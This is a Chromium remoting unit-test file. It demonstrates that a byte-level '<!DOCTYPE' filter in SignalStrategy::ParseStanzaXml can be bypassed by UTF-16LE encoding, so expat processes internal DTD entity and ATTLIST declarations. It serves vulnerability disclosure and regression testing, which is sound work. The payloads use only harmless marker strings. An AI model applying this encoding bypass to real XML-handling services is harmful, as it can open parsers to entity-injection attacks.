// Copyright 2024 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#include "remoting/signaling/signal_strategy.h"

#include <memory>
#include <string>

#include "base/memory/ptr_util.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/libjingle_xmpp/xmllite/xmlelement.h"

namespace remoting {

namespace {

// Builds a std::string containing the UTF-16LE encoding of |ascii| with a
// leading FF FE BOM. Embedded 0x00 bytes are preserved (std::string is
// length-delimited, and XmlParser::ParseXml() passes text.length() to expat).
std::string Utf16LeWithBom(const std::string& ascii) {
  std::string out;
  out.push_back('\xFF');
  out.push_back('\xFE');
  for (char c : ascii) {
    out.push_back(c);
    out.push_back('\x00');
  }
  return out;
}

}  // namespace

// Demonstrates that the byte-literal `xml.find("<!DOCTYPE")` filter in
// SignalStrategy::ParseStanzaXml() can be bypassed by encoding the stanza in
// UTF-16, because XmlParser creates expat with XML_ParserCreate(NULL), which
// auto-detects the encoding from the BOM and tokenises the prolog (including
// <!DOCTYPE ... [ <!ENTITY ...> ]>) in UTF-16.
//
// This is a security-control bypass (CWE-176), not a memory-corruption bug.
// The proof of bypass is that an internal-DTD general entity declared inside
// the DOCTYPE is *expanded* in the parsed result -- which is only possible if
// expat entered doProlog() and processed the entity declaration.
TEST(SignalStrategyParseStanzaXmlTest, Utf16DoctypeFilterBypass) {
  // The XML document, as logical characters. It declares a general entity
  // `proof` inside the internal DTD subset and references it in the <iq> body.
  static constexpr char kDoc[] =
      "<!DOCTYPE iq [ <!ENTITY proof \"DTD_ENTITY_EXPANDED\"> ]>"
      "<iq xmlns=\"jabber:client\" type=\"set\" id=\"1\" "
      "from=\"a@b/chromoting_ftl_r\" to=\"c@d/chromoting_ftl_r\">"
      "&proof;</iq>";

  // -------------------------------------------------------------------------
  // Control: the same document in plain ASCII *would* be caught by the filter.
  // -------------------------------------------------------------------------
  const std::string ascii_doc(kDoc);
  EXPECT_NE(ascii_doc.find("<!DOCTYPE"), std::string::npos)
      << "ASCII payload should be caught by the byte-substring filter";
  EXPECT_FALSE(SignalStrategy::ParseStanzaXml(ascii_doc).has_value())
      << "ASCII payload should be rejected by ParseStanzaXml";

  // -------------------------------------------------------------------------
  // Attack: UTF-16LE encoding of the *same* document.
  // -------------------------------------------------------------------------
  const std::string utf16_doc = Utf16LeWithBom(kDoc);

  // (1) Filter bypass: the ASCII byte sequence "<!DOCTYPE" (3C 21 44 4F 43 54
  //     59 50 45) does NOT appear in the UTF-16LE byte stream
  //     (3C 00 21 00 44 00 4F 00 ...), so std::string::find() returns npos
  //     and the gate at signal_strategy.cc:28 passes.
  ASSERT_EQ(utf16_doc.find("<!DOCTYPE"), std::string::npos)
      << "UTF-16LE bytes must not contain the ASCII <!DOCTYPE byte run -- "
         "this is the filter bypass";

  // (2) doProlog reached: feed the *same* bytes to the *same* parser that
  //     ParseStanzaXml() uses immediately after the filter.
  //     XmlParser::XmlParser() calls XML_ParserCreate(NULL); expat's initScan
  //     sees FF FE and switches to UTF-16LE; doProlog tokenises <!DOCTYPE and
  //     the internal subset; the <!ENTITY proof "..."> declaration is stored;
  //     the &proof; reference in <iq> body is expanded.
  auto stanza = base::WrapUnique<jingle_xmpp::XmlElement>(
      jingle_xmpp::XmlElement::ForStr(utf16_doc));
  ASSERT_NE(stanza, nullptr)
      << "expat should successfully parse the UTF-16LE document (BOM-only, "
         "no <?xml?> decl, so ExpatXmlDecl never fires)";

  // The &proof; entity reference was expanded to its replacement text.
  // This is only possible if expat entered doProlog and processed the
  // <!ENTITY> declaration in the internal DTD subset -- i.e. the exact
  // attack surface the find("<!DOCTYPE") filter was added to block.
  EXPECT_EQ(stanza->BodyText(), "DTD_ENTITY_EXPANDED")
      << "VULNERABILITY CONFIRMED: expat processed the internal DTD subset "
         "and expanded the &proof; general entity, proving that the "
         "find(\"<!DOCTYPE\") filter was bypassed and doProlog() executed "
         "on attacker-controlled UTF-16 input.";

  // For completeness: the parsed element name and attributes are intact,
  // confirming the whole UTF-16LE document (not just the prolog) was parsed.
  EXPECT_EQ(stanza->Name().LocalPart(), "iq");
}

// Additional demonstration: ATTLIST default-value injection via the same
// bypass. expat's doProlog applies <!ATTLIST ... CDATA "default"> defaults to
// elements that omit the attribute, exposing storeAttributeValue /
// appendAttributeValue paths. This shows the bypass reaches more of the
// internal-subset state machine than just <!ENTITY>.
TEST(SignalStrategyParseStanzaXmlTest, Utf16DoctypeAttlistDefault) {
  static constexpr char kDoc[] =
      "<!DOCTYPE iq [ <!ATTLIST iq injected CDATA \"FROM_DTD_ATTLIST\"> ]>"
      "<iq xmlns=\"jabber:client\"/>";

  const std::string utf16_doc = Utf16LeWithBom(kDoc);
  ASSERT_EQ(utf16_doc.find("<!DOCTYPE"), std::string::npos);

  auto stanza = base::WrapUnique<jingle_xmpp::XmlElement>(
      jingle_xmpp::XmlElement::ForStr(utf16_doc));
  ASSERT_NE(stanza, nullptr);

  // The <iq/> element did NOT carry an "injected" attribute in the source;
  // its presence proves expat's doProlog processed the <!ATTLIST> default and
  // appendAttributeValue ran on attacker DTD bytes.
  const jingle_xmpp::QName kInjected(std::string(), "injected");
  EXPECT_EQ(stanza->Attr(kInjected), "FROM_DTD_ATTLIST")
      << "ATTLIST default applied -- doProlog internal-subset processing "
         "reached via UTF-16 bypass.";
}

}  // namespace remoting
